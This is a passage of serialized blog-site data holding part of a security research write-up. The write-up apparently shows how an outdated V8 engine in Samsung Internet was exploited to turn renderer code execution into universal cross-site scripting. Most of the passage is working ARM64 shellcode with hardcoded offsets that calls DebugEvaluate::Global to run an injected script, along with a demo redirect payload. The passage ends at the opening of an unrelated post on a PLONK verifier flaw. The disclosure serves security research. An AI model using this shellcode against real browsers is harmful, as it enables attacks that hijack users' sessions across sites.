function,\n",{"type":24,"tag":90,"props":142677,"children":142678},{"class":92,"line":384},[142679,142684,142689],{"type":24,"tag":90,"props":142680,"children":142681},{"style":114},[142682],{"type":29,"value":142683}," Compiler::",{"type":24,"tag":90,"props":142685,"children":142686},{"style":108},[142687],{"type":29,"value":142688},"GetFunctionFromValidatedString",{"type":24,"tag":90,"props":142690,"children":142691},{"style":114},[142692],{"type":29,"value":680},{"type":24,"tag":90,"props":142694,"children":142695},{"class":92,"line":420},[142696,142701,142705,142709,142713,142718],{"type":24,"tag":90,"props":142697,"children":142698},{"style":108},[142699],{"type":29,"value":142700}," direct_handle",{"type":24,"tag":90,"props":142702,"children":142703},{"style":114},[142704],{"type":29,"value":117},{"type":24,"tag":90,"props":142706,"children":142707},{"style":136},[142708],{"type":29,"value":116908},{"type":24,"tag":90,"props":142710,"children":142711},{"style":114},[142712],{"type":29,"value":177},{"type":24,"tag":90,"props":142714,"children":142715},{"style":108},[142716],{"type":29,"value":142717},"native_context",{"type":24,"tag":90,"props":142719,"children":142720},{"style":114},[142721],{"type":29,"value":142722},"(), isolate), source,\n",{"type":24,"tag":90,"props":142724,"children":142725},{"class":92,"line":428},[142726],{"type":24,"tag":90,"props":142727,"children":142728},{"style":114},[142729],{"type":29,"value":142730}," NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":24,"tag":90,"props":142732,"children":142733},{"class":92,"line":437},[142734,142739],{"type":24,"tag":90,"props":142735,"children":142736},{"style":108},[142737],{"type":29,"value":142738}," RETURN_RESULT_OR_FAILURE",{"type":24,"tag":90,"props":142740,"children":142741},{"style":114},[142742],{"type":29,"value":680},{"type":24,"tag":90,"props":142744,"children":142745},{"class":92,"line":574},[142746,142751,142756],{"type":24,"tag":90,"props":142747,"children":142748},{"style":114},[142749],{"type":29,"value":142750}," isolate, Execution::",{"type":24,"tag":90,"props":142752,"children":142753},{"style":108},[142754],{"type":29,"value":142755},"Call",{"type":24,"tag":90,"props":142757,"children":142758},{"style":114},[142759],{"type":29,"value":142760},"(isolate, function, target_global_proxy, {}));\n",{"type":24,"tag":25,"props":142762,"children":142763},{},[142764,142766,142771,142773,142779,142781,142787,142789,142795],{"type":29,"value":142765},"But determining the correct ",{"type":24,"tag":32,"props":142767,"children":142769},{"className":142768},[],[142770],{"type":29,"value":116908},{"type":29,"value":142772}," value, obtaining ",{"type":24,"tag":32,"props":142774,"children":142776},{"className":142775},[],[142777],{"type":29,"value":142778},"target->native_context()",{"type":29,"value":142780},", and locating the ",{"type":24,"tag":32,"props":142782,"children":142784},{"className":142783},[],[142785],{"type":29,"value":142786},"direct_handle",{"type":29,"value":142788}," function, just to make a proper call to ",{"type":24,"tag":32,"props":142790,"children":142792},{"className":142791},[],[142793],{"type":29,"value":142794},"Compiler::GetFunctionFromValidatedString",{"type":29,"value":142796},", seemed unnecessarily cumbersome.",{"type":24,"tag":25,"props":142798,"children":142799},{},[142800,142802,142808],{"type":29,"value":142801},"Instead, we found a much simpler option with no security checks: ",{"type":24,"tag":32,"props":142803,"children":142805},{"className":142804},[],[142806],{"type":29,"value":142807},"DebugEvaluate::Global",{"type":29,"value":142809},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":24,"tag":25,"props":142811,"children":142812},{},[142813],{"type":29,"value":142814},"For our needs, it is straightforward to call:",{"type":24,"tag":80,"props":142816,"children":142818},{"code":142817,"language":30923,"meta":7,"className":30921,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n Handle\u003CString> source,\n debug::EvaluateGlobalMode mode,\n REPLMode repl_mode);\n",[142819],{"type":24,"tag":32,"props":142820,"children":142821},{"__ignoreMap":7},[142822,142870,142899,142920],{"type":24,"tag":90,"props":142823,"children":142824},{"class":92,"line":93},[142825,142830,142834,142838,142843,142848,142852,142857,142861,142866],{"type":24,"tag":90,"props":142826,"children":142827},{"style":146},[142828],{"type":29,"value":142829},"MaybeDirectHandle",{"type":24,"tag":90,"props":142831,"children":142832},{"style":114},[142833],{"type":29,"value":1575},{"type":24,"tag":90,"props":142835,"children":142836},{"style":146},[142837],{"type":29,"value":50674},{"type":24,"tag":90,"props":142839,"children":142840},{"style":114},[142841],{"type":29,"value":142842},"> DebugEvaluate::",{"type":24,"tag":90,"props":142844,"children":142845},{"style":108},[142846],{"type":29,"value":142847},"Global",{"type":24,"tag":90,"props":142849,"children":142850},{"style":114},[142851],{"type":29,"value":117},{"type":24,"tag":90,"props":142853,"children":142854},{"style":146},[142855],{"type":29,"value":142856},"Isolate",{"type":24,"tag":90,"props":142858,"children":142859},{"style":97},[142860],{"type":29,"value":983},{"type":24,"tag":90,"props":142862,"children":142863},{"style":136},[142864],{"type":29,"value":142865}," isolate",{"type":24,"tag":90,"props":142867,"children":142868},{"style":114},[142869],{"type":29,"value":748},{"type":24,"tag":90,"props":142871,"children":142872},{"class":92,"line":200},[142873,142878,142882,142886,142890,142895],{"type":24,"tag":90,"props":142874,"children":142875},{"style":146},[142876],{"type":29,"value":142877}," Handle",{"type":24,"tag":90,"props":142879,"children":142880},{"style":114},[142881],{"type":29,"value":1575},{"type":24,"tag":90,"props":142883,"children":142884},{"style":146},[142885],{"type":29,"value":49749},{"type":24,"tag":90,"props":142887,"children":142888},{"style":114},[142889],{"type":29,"value":8207},{"type":24,"tag":90,"props":142891,"children":142892},{"style":136},[142893],{"type":29,"value":142894},"source",{"type":24,"tag":90,"props":142896,"children":142897},{"style":114},[142898],{"type":29,"value":748},{"type":24,"tag":90,"props":142900,"children":142901},{"class":92,"line":239},[142902,142907,142912,142916],{"type":24,"tag":90,"props":142903,"children":142904},{"style":114},[142905],{"type":29,"value":142906}," debug::",{"type":24,"tag":90,"props":142908,"children":142909},{"style":146},[142910],{"type":29,"value":142911},"EvaluateGlobalMode",{"type":24,"tag":90,"props":142913,"children":142914},{"style":136},[142915],{"type":29,"value":108104},{"type":24,"tag":90,"props":142917,"children":142918},{"style":114},[142919],{"type":29,"value":748},{"type":24,"tag":90,"props":142921,"children":142922},{"class":92,"line":248},[142923,142928,142933],{"type":24,"tag":90,"props":142924,"children":142925},{"style":146},[142926],{"type":29,"value":142927}," REPLMode",{"type":24,"tag":90,"props":142929,"children":142930},{"style":136},[142931],{"type":29,"value":142932}," repl_mode",{"type":24,"tag":90,"props":142934,"children":142935},{"style":114},[142936],{"type":29,"value":571},{"type":24,"tag":25,"props":142938,"children":142939},{},[142940,142942,142947,142949,142954,142956,142961,142963,142969,142970,142976],{"type":29,"value":142941},"We must supply the ",{"type":24,"tag":32,"props":142943,"children":142945},{"className":142944},[],[142946],{"type":29,"value":142515},{"type":29,"value":142948}," pointer, a ",{"type":24,"tag":32,"props":142950,"children":142952},{"className":142951},[],[142953],{"type":29,"value":49749},{"type":29,"value":142955}," object containing our XSS payload as ",{"type":24,"tag":32,"props":142957,"children":142959},{"className":142958},[],[142960],{"type":29,"value":142894},{"type":29,"value":142962},", and the ",{"type":24,"tag":32,"props":142964,"children":142966},{"className":142965},[],[142967],{"type":29,"value":142968},"mode",{"type":29,"value":13360},{"type":24,"tag":32,"props":142971,"children":142973},{"className":142972},[],[142974],{"type":29,"value":142975},"repl_mode",{"type":29,"value":142977}," values, which are simple enum literals.",{"type":24,"tag":25,"props":142979,"children":142980},{},[142981,142983,142988,142990,142996,142998,143003,143005,143010,143012,143018,143020,143026,143028,143033,143035,143040,143042,143047,143049,143054],{"type":29,"value":142982},"To obtain the ",{"type":24,"tag":32,"props":142984,"children":142986},{"className":142985},[],[142987],{"type":29,"value":142515},{"type":29,"value":142989}," pointer within our shellcode, we call ",{"type":24,"tag":32,"props":142991,"children":142993},{"className":142992},[],[142994],{"type":29,"value":142995},"Isolate::TryGetCurrent()",{"type":29,"value":142997},", which returns the current ",{"type":24,"tag":32,"props":142999,"children":143001},{"className":143000},[],[143002],{"type":29,"value":142515},{"type":29,"value":143004},". To construct a valid ",{"type":24,"tag":32,"props":143006,"children":143008},{"className":143007},[],[143009],{"type":29,"value":49749},{"type":29,"value":143011}," object holding our payload, we call ",{"type":24,"tag":32,"props":143013,"children":143015},{"className":143014},[],[143016],{"type":29,"value":143017},"v8::String::NewFromUTF8",{"type":29,"value":143019},". This ",{"type":24,"tag":32,"props":143021,"children":143023},{"className":143022},[],[143024],{"type":29,"value":143025},"NewFromUTF8",{"type":29,"value":143027}," function takes four arguments: the ",{"type":24,"tag":32,"props":143029,"children":143031},{"className":143030},[],[143032],{"type":29,"value":142515},{"type":29,"value":143034},", the string bytes as ",{"type":24,"tag":32,"props":143036,"children":143038},{"className":143037},[],[143039],{"type":29,"value":481},{"type":29,"value":143041},", an enum literal specifying the string type, and ",{"type":24,"tag":32,"props":143043,"children":143045},{"className":143044},[],[143046],{"type":29,"value":10879},{"type":29,"value":143048},", which is the size of the ",{"type":24,"tag":32,"props":143050,"children":143052},{"className":143051},[],[143053],{"type":29,"value":481},{"type":29,"value":3685},{"type":24,"tag":25,"props":143056,"children":143057},{},[143058],{"type":29,"value":143059},"The resulting shellcode that executes our XSS payload looks like this:",{"type":24,"tag":80,"props":143061,"children":143063},{"code":143062,"language":141351,"meta":7,"className":141352,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw page\n{write_str(XSS_PAYLOAD, \"x0\")}\n\n// store x11 = XSS_PAYLOAD string\nmov x11, x0\n\n// pop back isolate pointer\nldr x13, [sp], #16\n\n// at this point:\n// x13 = isolate *\n// x11 = XSS_PAYLOAD string mmapped region\n// x10 = v8::String::NewFromUtf8\n\n// call v8::String::NewFromUTF8 with our xss_payload\n// arg0 = isolate *\nmov x0, x13\n// arg1 = char *c_str\nmov x1, x11\n// arg2 = type = kNormal\nmov x2, #0\n// arg4 = length\nmov w3, #{len(XSS_PAYLOAD)}\n// call NewFromUTF8\nblr x10\n\n// store x14 = String XSS_PAYLOAD\nmov x14, x0\n\n// store x9 = v8::internal::DebugEvaluate::Global\nmovz x1, #0xe44c\nmovk x1, #0x014e, lsl #16\nsub x9, x12, x1\n\n// call v8::internal::DebugEvaluate::Global\n// arg0 = isolate *\nmov x0, x13\n// arg1 = String *source\nmov x1, x14\n// arg2 = mode = kDefault\nmov x2, #0\n// arg3 = repl_mode = kYes\nmov x3, #0\n\nblr x9\n",[143064],{"type":24,"tag":32,"props":143065,"children":143066},{"__ignoreMap":7},[143067,143075,143083,143091,143099,143107,143115,143123,143131,143139,143147,143155,143163,143170,143178,143186,143194,143202,143209,143217,143224,143232,143240,143247,143254,143261,143268,143275,143282,143290,143298,143305,143313,143321,143328,143336,143344,143351,143358,143366,143374,143382,143389,143397,143405,143413,143421,143429,143437,143445,143453,143461,143469,143477,143484,143492,143500,143507,143515,143523,143531,143539,143546,143554,143561,143568,143576,143584,143592,143600,143609,143618,143626],{"type":24,"tag":90,"props":143068,"children":143069},{"class":92,"line":93},[143070],{"type":24,"tag":90,"props":143071,"children":143072},{},[143073],{"type":29,"value":143074},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\n",{"type":24,"tag":90,"props":143076,"children":143077},{"class":92,"line":200},[143078],{"type":24,"tag":90,"props":143079,"children":143080},{},[143081],{"type":29,"value":143082},"movz x1, #0xf7a0\n",{"type":24,"tag":90,"props":143084,"children":143085},{"class":92,"line":239},[143086],{"type":24,"tag":90,"props":143087,"children":143088},{},[143089],{"type":29,"value":143090},"movk x1, #0x0071, lsl #16\n",{"type":24,"tag":90,"props":143092,"children":143093},{"class":92,"line":248},[143094],{"type":24,"tag":90,"props":143095,"children":143096},{},[143097],{"type":29,"value":143098},"add x9, x12, x1\n",{"type":24,"tag":90,"props":143100,"children":143101},{"class":92,"line":258},[143102],{"type":24,"tag":90,"props":143103,"children":143104},{},[143105],{"type":29,"value":143106},"movz x1, #0x5ac8\n",{"type":24,"tag":90,"props":143108,"children":143109},{"class":92,"line":272},[143110],{"type":24,"tag":90,"props":143111,"children":143112},{},[143113],{"type":29,"value":143114},"movk x1, #0x054f, lsl #16\n",{"type":24,"tag":90,"props":143116,"children":143117},{"class":92,"line":281},[143118],{"type":24,"tag":90,"props":143119,"children":143120},{},[143121],{"type":29,"value":143122},"add x0, x12, x1\n",{"type":24,"tag":90,"props":143124,"children":143125},{"class":92,"line":384},[143126],{"type":24,"tag":90,"props":143127,"children":143128},{},[143129],{"type":29,"value":143130},"blr x9\n",{"type":24,"tag":90,"props":143132,"children":143133},{"class":92,"line":420},[143134],{"type":24,"tag":90,"props":143135,"children":143136},{},[143137],{"type":29,"value":143138},"// *x0 is isolate pointer\n",{"type":24,"tag":90,"props":143140,"children":143141},{"class":92,"line":428},[143142],{"type":24,"tag":90,"props":143143,"children":143144},{},[143145],{"type":29,"value":143146},"// store isolate ptr to stack\n",{"type":24,"tag":90,"props":143148,"children":143149},{"class":92,"line":437},[143150],{"type":24,"tag":90,"props":143151,"children":143152},{},[143153],{"type":29,"value":143154},"ldr x13, [x0]\n",{"type":24,"tag":90,"props":143156,"children":143157},{"class":92,"line":574},[143158],{"type":24,"tag":90,"props":143159,"children":143160},{},[143161],{"type":29,"value":143162},"str x13, [sp, #-16]!\n",{"type":24,"tag":90,"props":143164,"children":143165},{"class":92,"line":606},[143166],{"type":24,"tag":90,"props":143167,"children":143168},{"emptyLinePlaceholder":16},[143169],{"type":29,"value":245},{"type":24,"tag":90,"props":143171,"children":143172},{"class":92,"line":615},[143173],{"type":24,"tag":90,"props":143174,"children":143175},{},[143176],{"type":29,"value":143177},"// store x10 = v8::String::NewFromUTF8\n",{"type":24,"tag":90,"props":143179,"children":143180},{"class":92,"line":623},[143181],{"type":24,"tag":90,"props":143182,"children":143183},{},[143184],{"type":29,"value":143185},"movz x1, #0x1140\n",{"type":24,"tag":90,"props":143187,"children":143188},{"class":92,"line":632},[143189],{"type":24,"tag":90,"props":143190,"children":143191},{},[143192],{"type":29,"value":143193},"movk x1, #0x0242, lsl #16\n",{"type":24,"tag":90,"props":143195,"children":143196},{"class":92,"line":669},[143197],{"type":24,"tag":90,"props":143198,"children":143199},{},[143200],{"type":29,"value":143201},"sub x10, x12, x1\n",{"type":24,"tag":90,"props":143203,"children":143204},{"class":92,"line":683},[143205],{"type":24,"tag":90,"props":143206,"children":143207},{"emptyLinePlaceholder":16},[143208],{"type":29,"value":245},{"type":24,"tag":90,"props":143210,"children":143211},{"class":92,"line":737},[143212],{"type":24,"tag":90,"props":143213,"children":143214},{},[143215],{"type":29,"value":143216},"// mmap a RW page for our xss payload\n",{"type":24,"tag":90,"props":143218,"children":143219},{"class":92,"line":751},[143220],{"type":24,"tag":90,"props":143221,"children":143222},{},[143223],{"type":29,"value":141567},{"type":24,"tag":90,"props":143225,"children":143226},{"class":92,"line":782},[143227],{"type":24,"tag":90,"props":143228,"children":143229},{},[143230],{"type":29,"value":143231},"mov x1, #{page_align(len(XSS_PAYLOAD))}\n",{"type":24,"tag":90,"props":143233,"children":143234},{"class":92,"line":791},[143235],{"type":24,"tag":90,"props":143236,"children":143237},{},[143238],{"type":29,"value":143239},"mov x2, #3\n",{"type":24,"tag":90,"props":143241,"children":143242},{"class":92,"line":799},[143243],{"type":24,"tag":90,"props":143244,"children":143245},{},[143246],{"type":29,"value":141590},{"type":24,"tag":90,"props":143248,"children":143249},{"class":92,"line":807},[143250],{"type":24,"tag":90,"props":143251,"children":143252},{},[143253],{"type":29,"value":141598},{"type":24,"tag":90,"props":143255,"children":143256},{"class":92,"line":821},[143257],{"type":24,"tag":90,"props":143258,"children":143259},{},[143260],{"type":29,"value":141606},{"type":24,"tag":90,"props":143262,"children":143263},{"class":92,"line":6278},[143264],{"type":24,"tag":90,"props":143265,"children":143266},{},[143267],{"type":29,"value":141614},{"type":24,"tag":90,"props":143269,"children":143270},{"class":92,"line":11420},[143271],{"type":24,"tag":90,"props":143272,"children":143273},{},[143274],{"type":29,"value":141529},{"type":24,"tag":90,"props":143276,"children":143277},{"class":92,"line":11438},[143278],{"type":24,"tag":90,"props":143279,"children":143280},{"emptyLinePlaceholder":16},[143281],{"type":29,"value":245},{"type":24,"tag":90,"props":143283,"children":143284},{"class":92,"line":11483},[143285],{"type":24,"tag":90,"props":143286,"children":143287},{},[143288],{"type":29,"value":143289},"// write our xss payload to mmapped rw page\n",{"type":24,"tag":90,"props":143291,"children":143292},{"class":92,"line":11589},[143293],{"type":24,"tag":90,"props":143294,"children":143295},{},[143296],{"type":29,"value":143297},"{write_str(XSS_PAYLOAD, \"x0\")}\n",{"type":24,"tag":90,"props":143299,"children":143300},{"class":92,"line":25306},[143301],{"type":24,"tag":90,"props":143302,"children":143303},{"emptyLinePlaceholder":16},[143304],{"type":29,"value":245},{"type":24,"tag":90,"props":143306,"children":143307},{"class":92,"line":25341},[143308],{"type":24,"tag":90,"props":143309,"children":143310},{},[143311],{"type":29,"value":143312},"// store x11 = XSS_PAYLOAD string\n",{"type":24,"tag":90,"props":143314,"children":143315},{"class":92,"line":25349},[143316],{"type":24,"tag":90,"props":143317,"children":143318},{},[143319],{"type":29,"value":143320},"mov x11, x0\n",{"type":24,"tag":90,"props":143322,"children":143323},{"class":92,"line":25357},[143324],{"type":24,"tag":90,"props":143325,"children":143326},{"emptyLinePlaceholder":16},[143327],{"type":29,"value":245},{"type":24,"tag":90,"props":143329,"children":143330},{"class":92,"line":25366},[143331],{"type":24,"tag":90,"props":143332,"children":143333},{},[143334],{"type":29,"value":143335},"// pop back isolate pointer\n",{"type":24,"tag":90,"props":143337,"children":143338},{"class":92,"line":25408},[143339],{"type":24,"tag":90,"props":143340,"children":143341},{},[143342],{"type":29,"value":143343},"ldr x13, [sp], #16\n",{"type":24,"tag":90,"props":143345,"children":143346},{"class":92,"line":25441},[143347],{"type":24,"tag":90,"props":143348,"children":143349},{"emptyLinePlaceholder":16},[143350],{"type":29,"value":245},{"type":24,"tag":90,"props":143352,"children":143353},{"class":92,"line":25449},[143354],{"type":24,"tag":90,"props":143355,"children":143356},{},[143357],{"type":29,"value":141650},{"type":24,"tag":90,"props":143359,"children":143360},{"class":92,"line":25457},[143361],{"type":24,"tag":90,"props":143362,"children":143363},{},[143364],{"type":29,"value":143365},"// x13 = isolate *\n",{"type":24,"tag":90,"props":143367,"children":143368},{"class":92,"line":25466},[143369],{"type":24,"tag":90,"props":143370,"children":143371},{},[143372],{"type":29,"value":143373},"// x11 = XSS_PAYLOAD string mmapped region\n",{"type":24,"tag":90,"props":143375,"children":143376},{"class":92,"line":25542},[143377],{"type":24,"tag":90,"props":143378,"children":143379},{},[143380],{"type":29,"value":143381},"// x10 = v8::String::NewFromUtf8\n",{"type":24,"tag":90,"props":143383,"children":143384},{"class":92,"line":25575},[143385],{"type":24,"tag":90,"props":143386,"children":143387},{"emptyLinePlaceholder":16},[143388],{"type":29,"value":245},{"type":24,"tag":90,"props":143390,"children":143391},{"class":92,"line":25583},[143392],{"type":24,"tag":90,"props":143393,"children":143394},{},[143395],{"type":29,"value":143396},"// call v8::String::NewFromUTF8 with our xss_payload\n",{"type":24,"tag":90,"props":143398,"children":143399},{"class":92,"line":25591},[143400],{"type":24,"tag":90,"props":143401,"children":143402},{},[143403],{"type":29,"value":143404},"// arg0 = isolate *\n",{"type":24,"tag":90,"props":143406,"children":143407},{"class":92,"line":25628},[143408],{"type":24,"tag":90,"props":143409,"children":143410},{},[143411],{"type":29,"value":143412},"mov x0, x13\n",{"type":24,"tag":90,"props":143414,"children":143415},{"class":92,"line":25641},[143416],{"type":24,"tag":90,"props":143417,"children":143418},{},[143419],{"type":29,"value":143420},"// arg1 = char *c_str\n",{"type":24,"tag":90,"props":143422,"children":143423},{"class":92,"line":25654},[143424],{"type":24,"tag":90,"props":143425,"children":143426},{},[143427],{"type":29,"value":143428},"mov x1, x11\n",{"type":24,"tag":90,"props":143430,"children":143431},{"class":92,"line":25667},[143432],{"type":24,"tag":90,"props":143433,"children":143434},{},[143435],{"type":29,"value":143436},"// arg2 = type = kNormal\n",{"type":24,"tag":90,"props":143438,"children":143439},{"class":92,"line":25721},[143440],{"type":24,"tag":90,"props":143441,"children":143442},{},[143443],{"type":29,"value":143444},"mov x2, #0\n",{"type":24,"tag":90,"props":143446,"children":143447},{"class":92,"line":25730},[143448],{"type":24,"tag":90,"props":143449,"children":143450},{},[143451],{"type":29,"value":143452},"// arg4 = length\n",{"type":24,"tag":90,"props":143454,"children":143455},{"class":92,"line":34094},[143456],{"type":24,"tag":90,"props":143457,"children":143458},{},[143459],{"type":29,"value":143460},"mov w3, #{len(XSS_PAYLOAD)}\n",{"type":24,"tag":90,"props":143462,"children":143463},{"class":92,"line":34115},[143464],{"type":24,"tag":90,"props":143465,"children":143466},{},[143467],{"type":29,"value":143468},"// call NewFromUTF8\n",{"type":24,"tag":90,"props":143470,"children":143471},{"class":92,"line":82781},[143472],{"type":24,"tag":90,"props":143473,"children":143474},{},[143475],{"type":29,"value":143476},"blr x10\n",{"type":24,"tag":90,"props":143478,"children":143479},{"class":92,"line":82794},[143480],{"type":24,"tag":90,"props":143481,"children":143482},{"emptyLinePlaceholder":16},[143483],{"type":29,"value":245},{"type":24,"tag":90,"props":143485,"children":143486},{"class":92,"line":82802},[143487],{"type":24,"tag":90,"props":143488,"children":143489},{},[143490],{"type":29,"value":143491},"// store x14 = String XSS_PAYLOAD\n",{"type":24,"tag":90,"props":143493,"children":143494},{"class":92,"line":82810},[143495],{"type":24,"tag":90,"props":143496,"children":143497},{},[143498],{"type":29,"value":143499},"mov x14, x0\n",{"type":24,"tag":90,"props":143501,"children":143502},{"class":92,"line":82818},[143503],{"type":24,"tag":90,"props":143504,"children":143505},{"emptyLinePlaceholder":16},[143506],{"type":29,"value":245},{"type":24,"tag":90,"props":143508,"children":143509},{"class":92,"line":82858},[143510],{"type":24,"tag":90,"props":143511,"children":143512},{},[143513],{"type":29,"value":143514},"// store x9 = v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":90,"props":143516,"children":143517},{"class":92,"line":82866},[143518],{"type":24,"tag":90,"props":143519,"children":143520},{},[143521],{"type":29,"value":143522},"movz x1, #0xe44c\n",{"type":24,"tag":90,"props":143524,"children":143525},{"class":92,"line":90053},[143526],{"type":24,"tag":90,"props":143527,"children":143528},{},[143529],{"type":29,"value":143530},"movk x1, #0x014e, lsl #16\n",{"type":24,"tag":90,"props":143532,"children":143533},{"class":92,"line":90061},[143534],{"type":24,"tag":90,"props":143535,"children":143536},{},[143537],{"type":29,"value":143538},"sub x9, x12, x1\n",{"type":24,"tag":90,"props":143540,"children":143541},{"class":92,"line":103407},[143542],{"type":24,"tag":90,"props":143543,"children":143544},{"emptyLinePlaceholder":16},[143545],{"type":29,"value":245},{"type":24,"tag":90,"props":143547,"children":143548},{"class":92,"line":103415},[143549],{"type":24,"tag":90,"props":143550,"children":143551},{},[143552],{"type":29,"value":143553},"// call v8::internal::DebugEvaluate::Global\n",{"type":24,"tag":90,"props":143555,"children":143556},{"class":92,"line":103423},[143557],{"type":24,"tag":90,"props":143558,"children":143559},{},[143560],{"type":29,"value":143404},{"type":24,"tag":90,"props":143562,"children":143563},{"class":92,"line":103431},[143564],{"type":24,"tag":90,"props":143565,"children":143566},{},[143567],{"type":29,"value":143412},{"type":24,"tag":90,"props":143569,"children":143570},{"class":92,"line":103459},[143571],{"type":24,"tag":90,"props":143572,"children":143573},{},[143574],{"type":29,"value":143575},"// arg1 = String *source\n",{"type":24,"tag":90,"props":143577,"children":143578},{"class":92,"line":106230},[143579],{"type":24,"tag":90,"props":143580,"children":143581},{},[143582],{"type":29,"value":143583},"mov x1, x14\n",{"type":24,"tag":90,"props":143585,"children":143586},{"class":92,"line":106238},[143587],{"type":24,"tag":90,"props":143588,"children":143589},{},[143590],{"type":29,"value":143591},"// arg2 = mode = kDefault\n",{"type":24,"tag":90,"props":143593,"children":143595},{"class":92,"line":143594},69,[143596],{"type":24,"tag":90,"props":143597,"children":143598},{},[143599],{"type":29,"value":143444},{"type":24,"tag":90,"props":143601,"children":143603},{"class":92,"line":143602},70,[143604],{"type":24,"tag":90,"props":143605,"children":143606},{},[143607],{"type":29,"value":143608},"// arg3 = repl_mode = kYes\n",{"type":24,"tag":90,"props":143610,"children":143612},{"class":92,"line":143611},71,[143613],{"type":24,"tag":90,"props":143614,"children":143615},{},[143616],{"type":29,"value":143617},"mov x3, #0\n",{"type":24,"tag":90,"props":143619,"children":143621},{"class":92,"line":143620},72,[143622],{"type":24,"tag":90,"props":143623,"children":143624},{"emptyLinePlaceholder":16},[143625],{"type":29,"value":245},{"type":24,"tag":90,"props":143627,"children":143629},{"class":92,"line":143628},73,[143630],{"type":24,"tag":90,"props":143631,"children":143632},{},[143633],{"type":29,"value":143130},{"type":24,"tag":1019,"props":143635,"children":143637},{"id":143636},"uxss-demo",[143638],{"type":29,"value":143639},"UXSS Demo",{"type":24,"tag":25,"props":143641,"children":143642},{},[143643,143645,143651],{"type":29,"value":143644},"Below is a demo that executes the following UXSS payload: ",{"type":24,"tag":32,"props":143646,"children":143648},{"className":143647},[],[143649],{"type":29,"value":143650},"alert(document.domain); window.location.href = \"https://cor.team/\";",{"type":29,"value":226},{"type":24,"tag":133688,"props":143653,"children":143656},{"className":143654,"controls":16},[143655],"blog-video-responsive",[143657,143659,143663],{"type":29,"value":143658},"\n ",{"type":24,"tag":142894,"props":143660,"children":143662},{"src":143661,"type":133686},"/posts/mobile-renderer-rce/demo.mp4",[],{"type":29,"value":143664},"\n Your browser does not support the video tag.\n",{"type":24,"tag":850,"props":143666,"children":143667},{"id":30743},[143668],{"type":29,"value":20741},{"type":24,"tag":25,"props":143670,"children":143671},{},[143672],{"type":29,"value":143673},"Given the complex nature of the modern software ecosystem, it is unsurprising to find core out of date libraries in popular applications. Samsung Internet relied on a six month old version of V8, a JavaScript engine where researchers frequently discover new vulnerabilities, providing us a large window for n-day exploitation.",{"type":24,"tag":25,"props":143675,"children":143676},{},[143677],{"type":29,"value":143678},"While renderer bugs are usually chained with another exploit such as a sandbox escape, we pushed the capabilities of the bug by targeting the weaker Site Isolation mechanism on mobile. As most web pages ran under the same process, we could inject shellcode into the JavaScript interpreter to achieve universal XSS in Samsung Internet browser.",{"type":24,"tag":5249,"props":143680,"children":143681},{},[143682],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":143684},[143685,143689,143692,143702],{"id":30826,"depth":200,"text":30829,"children":143686},[143687,143688],{"id":133822,"depth":239,"text":133825},{"id":133905,"depth":239,"text":133908},{"id":133938,"depth":200,"text":133941,"children":143690},[143691],{"id":134079,"depth":239,"text":133933},{"id":134223,"depth":200,"text":134226,"children":143693},[143694,143695,143696,143697,143698,143699,143700,143701],{"id":134229,"depth":239,"text":134232},{"id":134686,"depth":239,"text":134689},{"id":134869,"depth":239,"text":134872},{"id":134980,"depth":239,"text":134983},{"id":135257,"depth":239,"text":135260},{"id":137967,"depth":239,"text":137970},{"id":141248,"depth":239,"text":141251},{"id":143636,"depth":239,"text":143639},{"id":30743,"depth":200,"text":20741},"content:blog:2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce.md","blog/2026-04-01-patch-gap-to-mobile-renderer-rce",{"_path":143707,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":143708,"description":143709,"date":143710,"author":143711,"image":143712,"isFeatured":16,"onBlogPage":16,"tags":143714,"body":143717,"_type":5270,"_id":148981,"_source":5272,"_file":148982,"_stem":148983,"_extension":5275},"/blog/2026-04-30-unverified-evaluations-dusk-plonk","Unverified Evaluations in Dusk's PLONK","Dusk's privacy layer protects ~$60M of DUSK and hinges on one proof check. dusk-plonk's verifier never validated four of the prover's polynomial commitments, enough to mint DUSK from nothing and forge shielded spends the network confirmed as real.","2026-04-30T12:00:00.000Z",[109668,109669],{"src":143713,"width":99098,"height":14},"/posts/dusk-commitment-issues/title.png",[143715,143716],"dusk","plonk",{"type":21,"children":143718,"toc":148961},[143719,143725,143766,143778,143784,143798,143803,143809,144100,144104,144376,144606,144612,145297,145301,145796,145804,145810,145829,145834,145840,146065,146104,146115,146121,146132,146840,146845,146848,146854,146907,146942,146974,146979,146983,146986,146992,147003,147016,147047,147114,147122,147144,147157,147584,147607,147612,147615,147620,147647,147743,147754,147801,147839,147850,148188,148205,148213,148216,148222,148227,148261,148269,148350,148353,148359,148373,148391,148396,148436,148444,148465,148468,148474,148479,148544,148558,148561,148567,148607,148618,148623,148628,148634,148648,148729,148750,148777,148780,148786,148800,148805,148810,148815,148950,148956],{"type":24,"tag":37188,"props":143720,"children":143722},{"id":143721},"commitment-issues-unverified-evaluations-in-dusks-plonk",[143723],{"type":29,"value":143724},"Commitment Issues: Unverified Evaluations in Dusk's PLONK",{"type":24,"tag":25,"props":143726,"children":143727},{},[143728,143730,143737,143739,143746,143748,143755,143757,143764],{"type":29,"value":143729},"We found a critical soundness vulnerability in ",{"type":24,"tag":69,"props":143731,"children":143734},{"href":143732,"rel":143733},"https://github.com/dusk-network/plonk/",[73],[143735],{"type":29,"value":143736},"dusk-plonk",{"type":29,"value":143738},", the PLONK implementation powering 